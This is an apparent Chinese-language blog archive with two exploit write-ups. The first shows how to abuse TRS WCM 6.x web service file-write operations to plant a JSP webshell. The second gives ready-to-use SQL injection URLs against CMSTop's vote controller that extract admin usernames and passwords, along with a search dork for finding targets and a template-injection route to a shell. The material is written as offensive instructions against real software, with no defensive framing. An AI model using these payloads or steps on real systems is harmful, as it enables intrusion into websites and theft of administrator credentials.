标签归档:漏洞

TRS WCM 6.X系统任意文件写入漏洞

TRS WCM的Web Service提供了向服务器写入文件的方式,可以直接写jsp文件获取webshell。

Web Service路径:http://xx~/wcm/services,web service信息大概是这个样子的:

trswcm:ImportService (wsdl)

        importDocuments 

    urn:FileService (wsdl)

        sendFileBase64 

    trswcm:GetChannelInfoService (wsdl)

        getAllChannelXML

        getChannelXML 

    trswcm:GetSOAPInfoService (wsdl)

        getMajorVersion 

    trswcm:SOAPService (wsdl)

        getMajorVersion

        importDocuments

        uploadFile

        importDocumentsByLocalFile

        getAllChannelXML

        getChannelChildrenXML

        getChannelXML

        getSiteXML

        sendFileBase64 

...

    trs:templateservicefacade (wsdl)

        logout

        login

        writeFile

        preview

        checkin

        checkout

        getAllSettings

        getSettingByType

        confirm

        getSettingTypeList

        getAllSites

        writeSpecFile

        makeTemplateFolder 

    trswcm:UploadService (wsdl)

        uploadFile

        sendFileBase64

经测试其中trs:templateservicefacade服务的writeFile和writeSpecFile两个操作都可以向服务器写入文件,其它还有些sendFileBase64、uploadFile之类的没试过了。

1.writeFile和writeSpecFile两个操作参数差不多,第一个参数都是base64加密后的文件内容;

2.writeFile方式会返回物理路径,使用writeSpecFile前需要用writeFile获取路径;

3.writeFile第二参数是文件后缀名,在windows版本下可以利用../跳转目录;

4.writeSpecFile第二个参数是文件绝对路径,这个就随便搞了;

5.访问大部分JSP页面时系统经常会验证是否登陆,否则跳转,一般写这几个地方就OK(这几个默认是没有的):

~/wcm/index.jsp

~/wcm/demo/index.jsp

~/wcm/include/login.jsp

…more…

6.注意:writeSpecFile会覆盖原文件,writeFile则会返回失败,不会覆盖原文件;

7….

漏洞证明:

这个我没试过,图片是别人发给我的,我不大清楚咧。

writeFile:

3.jpg

5.jpg

writeSpecFile:

1.jpg

22.jpg

cmstop漏洞

漏洞文件/apps/vote/controller/vote.php

app.xxx.com/?app=vote&controller=vote&action=total&contentid=1 


获取管理员id

  1. ?app=vote&controller=vote&action=total&contentid=1 and 1=2 union select userid from cmstop_admin where departmentid=2 limit 0,1;#


获取到底管理id是啥你就自己写啥

  1. ?app=vote&controller=vote&action=total&contentid=1 and 1=2 union select concat(username,char(0x3d),password) from cmstop_member where userid=1;#


读取后台地址

  1. ?app=vote&controller=vote&action=total&contentid=1%20and%201=2%20union%20select%20url%20from%20cmstop_mymenu%20where%201=1%20limit%200,1;%23


cmstop只有app这个有动态脚本

关于如何找到这个动态的站

site:xxx.com inurl:roll.php

数据库文件
cmstop/config/db.php

关于拿shell

管理员帐号进入后台后直接模板里面guestbook模板插入一句话

然后访问app.xxx.com/?app=guestbook